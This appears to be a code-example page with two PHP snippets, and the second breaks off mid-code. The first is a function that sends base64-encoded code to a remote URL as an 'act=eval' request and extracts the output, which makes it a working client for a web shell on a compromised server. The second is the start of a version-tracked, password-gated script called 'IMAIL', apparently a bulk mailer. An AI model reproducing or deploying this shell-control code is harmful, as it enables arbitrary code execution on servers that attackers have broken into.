예제 #1
0
 public function exec($url, $code, $data, $password, $login)
 {
     $str_start = AMUtil::randomString();
     $str_end = AMUtil::randomString();
     $eval_sub = 'eval(base64_decode($_POST["debug_value_fgtr"]));';
     $eval_sub = "echo('" . substr($str_start, 0, 4) . "'.'" . substr($str_start, 4, 4) . "');" . $eval_sub . "die('" . substr($str_end, 0, 4) . "'.'" . substr($str_end, 4, 4) . "');";
     $post = 'act=eval&eval=' . urlencode($eval_sub) . '&d=.%2F&eval_txt=1&debug_value_fgtr=' . urlencode(base64_encode($code));
     if (!empty($password) && !empty($login)) {
         $headers = array('Authorization: Basic ' . base64_encode($login . ':' . $password));
     } else {
         $headers = array();
     }
     $headers[] = 'Content-type: application/x-www-form-urlencoded';
     $opts = array('http' => array('method' => 'POST', 'proxy' => defined('PROXY') ? 'tcp://' . PROXY : null, 'header' => implode(PHP_EOL, $headers), 'timeout' => $timeout, 'content' => $post));
     //print_r($opts);
     $context = stream_context_create($opts);
     $response = @file_get_contents($url, false, $context);
     $response = strstr($response, $str_start);
     $response = str_replace(array($str_end, $str_start), "", $response);
     return $response;
 }
예제 #2
0
#UPD 20.10.2012 v 1.4
#UPD 16.02.2013 v 1.5
#UPD 15.04.2013 v 1.5.1
#UPD 01.06.2013 v 1.6
#UPD 15.09.2013 v 1.6.5
#UOD 30.04.2014 v 1.7
#UPD 11.08.2014 v 1.7.1
#UPD 15.09.2014 v 2.0b
#UPD 22.09.2014 v 2.0
#UPD 24.09.2014 v 2.0.1
#UPD 06.10.2014 v 2.0.2
#UPD 20.10.2014 v 2.0.3
define("VERSION", "2.0");
define("FULLVERSION", "2.0.8");
define("RELEASEDATE", "08-12-2014");
$boundary = "--" . AMUtil::randomString(10);
$timezone = 'Europe/Moscow';
/**
Запрос авторизации
*/
if ($logpass != "") {
    if (!isset($_SERVER['PHP_AUTH_USER'])) {
        header('WWW-Authenticate: Basic realm="IMAIL"');
        header('HTTP/1.0 401 Unauthorized');
        print "Authentification required!";
        exit;
    } else {
        if (md5($_SERVER['PHP_AUTH_USER'] . "IMAIL" . $_SERVER['PHP_AUTH_PW']) != $logpass) {
            header('WWW-Authenticate: Basic realm="IMAIL"');
            header('HTTP/1.0 401 Unauthorized');
            print 'Wrong login or password!';